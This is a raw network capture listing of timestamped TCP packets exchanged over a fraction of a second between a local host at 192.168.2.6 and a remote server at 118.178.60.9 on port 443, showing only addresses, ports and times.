Jan 5, 2025 10:12:37.811435938 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.812279940 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.812341928 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.812443972 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.812501907 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.815722942 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.815781116 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.816087961 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.816143036 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.817699909 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.817780018 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.817924976 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.817986012 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.825771093 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.825838089 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.826062918 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.826107025 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.826374054 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.826401949 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.826428890 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.826438904 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.826452971 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.826545000 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.834383011 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.834475994 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.834536076 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.834583998 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.834897041 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.834945917 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.835133076 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.835182905 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.845212936 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.845406055 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.845580101 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.845633030 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.849864960 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.849930048 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.850174904 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.850224018 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.856272936 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.856303930 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.856344938 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.856358051 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.856370926 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.858114004 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.861663103 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.863013029 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.863075018 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.863116026 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.863167048 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.869262934 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.869348049 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.869537115 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.869590044 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.875601053 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.875660896 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.875816107 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.875864983 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.880475044 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.880580902 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.880589008 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.880640030 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.887042999 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.887105942 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.887145996 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.887203932 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.893526077 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.893553019 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.893594980 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.893608093 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.893621922 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.896620035 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.896641970 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.899213076 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.899266958 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.902381897 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.902436018 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.902610064 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.902657032 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.904269934 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.904345036 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.904485941 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.904536963 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.912410021 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.912475109 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.912584066 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.912640095 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.912914991 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.912971020 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.913079023 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.913127899 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.921148062 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.921215057 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.921305895 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.921355009 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.921489954 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.921519041 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.921541929 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.921550989 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.921571970 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.921588898 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.931987047 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.932050943 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.932159901 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.932210922 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.936678886 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.936747074 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.936846018 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.936904907 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.942766905 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.942823887 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.943093061 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.943144083 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.949525118 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.949585915 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.949743986 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.949796915 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.955893993 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.955954075 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.956087112 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.956130028 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.962162018 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.962229967 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.962366104 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.962412119 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.967053890 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.967109919 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.967170954 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.967221975 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.973675966 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.973730087 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.973901987 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.973956108 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.976347923 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.980000973 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.980101109 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.980266094 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.980314016 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.985822916 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.985874891 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.986044884 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.986092091 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.989053011 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.989115953 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.989279032 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.989332914 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.990986109 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.991061926 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.991189003 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.991231918 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.999192953 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.999252081 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.999624014 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.999677896 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:37.999803066 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:37.999852896 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.000019073 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.000070095 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.007797003 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.007879019 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.008006096 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.008059025 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.008308887 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.008337975 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.008361101 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.008369923 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.008398056 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.008411884 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.018745899 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.018802881 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.018927097 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.018975973 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.023318052 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.023391008 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.023535013 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.023581982 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.029591084 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.029649019 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.029768944 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.029819965 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.036242962 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.036315918 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.036597967 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.036647081 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.042747021 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.042798042 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.042922974 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.042973995 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.049277067 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.049350977 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.049479008 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.049526930 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.052504063 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.053827047 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.053883076 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.054116964 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.054168940 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.060468912 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.060539961 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.060628891 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.060676098 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.066665888 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.066715002 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.066912889 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.066963911 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.072619915 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.072690964 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.072897911 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.072945118 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.075875998 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.075927019 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.076168060 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.076215982 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.077718973 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.077771902 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.077924013 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.077971935 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.086062908 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.086159945 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.086236000 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.086277008 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.086540937 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.086590052 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.086725950 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.086770058 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.094530106 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.094598055 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.094793081 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.094839096 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.095045090 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.095084906 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.095302105 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.095347881 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.105528116 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.105586052 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.105705976 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.105756998 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.110130072 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.110182047 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.110306978 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.110354900 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.116395950 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.116453886 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.116569042 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.116635084 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.123007059 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.123055935 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.123264074 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.123308897 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.129499912 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.129574060 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.129765987 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.129813910 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.136126041 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.136178017 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.136307001 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.136353970 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.140583038 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.140654087 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.140845060 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.140889883 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.147905111 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.147962093 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.148134947 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.148178101 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.169661045 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.169676065 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.169691086 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.169785976 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.169790983 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.169800043 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.169852972 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.169887066 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.172749996 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.172821999 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.173062086 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.173126936 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.173239946 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.173284054 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.173482895 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.173533916 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.181296110 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.181377888 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.181735992 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.181782007 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.181855917 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.181899071 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.182117939 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.182164907 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.192409039 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.192483902 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.192595959 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.192641020 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.196953058 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.197015047 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.197123051 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.197165012 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.203217030 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.203272104 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.203330040 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.203377962 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.209800959 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.209867001 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.210077047 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.210129023 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.216341972 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.216372013 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.216398954 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.216413021 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.216429949 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.216455936 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.222958088 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.223043919 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.223159075 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.223206997 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.346568108 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.346591949 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.346610069 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.346704006 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.346714973 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.346729994 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.346741915 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.346894026 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.346904039 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.346976042 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.555325031 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.555383921 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.557290077 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.557302952 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.557311058 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.557360888 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.557367086 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.557377100 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.557436943 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.557441950 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.557454109 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.557466030 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.557521105 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:38.557524920 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:38.557559013 CET	62784	443	192.168.2.6	118.178.60.9
